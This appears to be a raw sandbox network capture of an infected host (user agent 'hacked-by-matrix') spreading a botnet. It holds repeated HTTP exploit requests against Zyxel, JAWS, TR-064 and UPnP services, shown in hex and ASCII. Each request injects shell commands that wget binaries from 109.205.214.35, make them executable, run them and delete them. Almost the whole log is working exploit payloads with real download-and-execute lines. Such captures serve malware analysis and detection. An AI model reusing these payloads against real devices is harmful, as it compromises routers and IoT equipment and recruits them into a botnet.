remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.607312918 CET	373	IN	HTTP/1.1 301 Moved Permanently X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15552000 location: https://127.0.0.1:4443/cgi-bin/ViewLog.asp Date: Thu, 21 Mar 2024 04:17:34 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Mar 21, 2024 05:17:34.607325077 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.23	41282	200.229.236.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.742988110 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.979722023 CET	433	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:34 GMT Server: Apache/2.4.58 Content-Length: 262 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.23	33690	23.1.102.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.922950029 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:35.120140076 CET	437	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 215 Expires: Thu, 21 Mar 2024 04:17:35 GMT Date: Thu, 21 Mar 2024 04:17:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 66 64 32 64 66 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 35 35 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.fd2df17.1710994655.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.23	36340	47.12.3.21	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.248392105 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.23	49776	18.130.49.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.384677887 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:35.556150913 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.23	36520	47.12.3.21	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.393405914 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.23	59248	84.254.1.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.605129004 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:35.824121952 CET	127	IN	HTTP/1.1 400 content-length: 0 connection: close date: Thu, 21 Mar 2024 04:17:33 GMT server: hypercorn-h11

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.23	34440	23.8.39.17	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.816987991 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:36.031673908 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:17:35 GMT Date: Thu, 21 Mar 2024 04:17:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 37 34 64 63 66 37 62 64 26 23 34 36 3b 31 37 31 30 39 39 34 36 35 35 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.74dcf7bd.1710994655.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.23	34470	5.22.77.78	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.823837996 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:39.067797899 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:45.211174011 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:57.241242886 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
